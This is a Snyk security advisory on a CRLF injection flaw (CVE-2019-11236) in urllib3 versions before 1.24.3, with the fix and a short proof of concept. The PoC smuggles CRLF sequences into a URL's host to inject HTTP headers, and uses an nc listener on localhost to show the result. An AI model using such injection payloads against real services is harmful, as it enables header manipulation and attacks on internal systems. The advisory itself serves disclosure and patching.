CRLF injection Affecting urllib3 package, versions [,1.24.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
0.85% (83rd percentile)

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  • Snyk IDSNYK-PYTHON-URLLIB3-174323
  • published18 Apr 2019
  • disclosed15 Apr 2019
  • creditragdoll

Introduced: 15 Apr 2019

CVE-2019-11236  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade urllib3 to version 1.24.3 or higher.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.

PoC

by ragdoll and Alvin Chang

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url = "http://" + host + ":8080/test/?test=a"

try: info = pool_manager.request('GET', url).info() print(info) except Exception: pass

nc -l localhost 7777

GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: localhost:7777 Accept-Encoding: identity

The nc server will display the HTTP request with a manipulated header content: X-injected:header, indicating a successful injection of the HTTP header.

CVSS Scores

version 3.1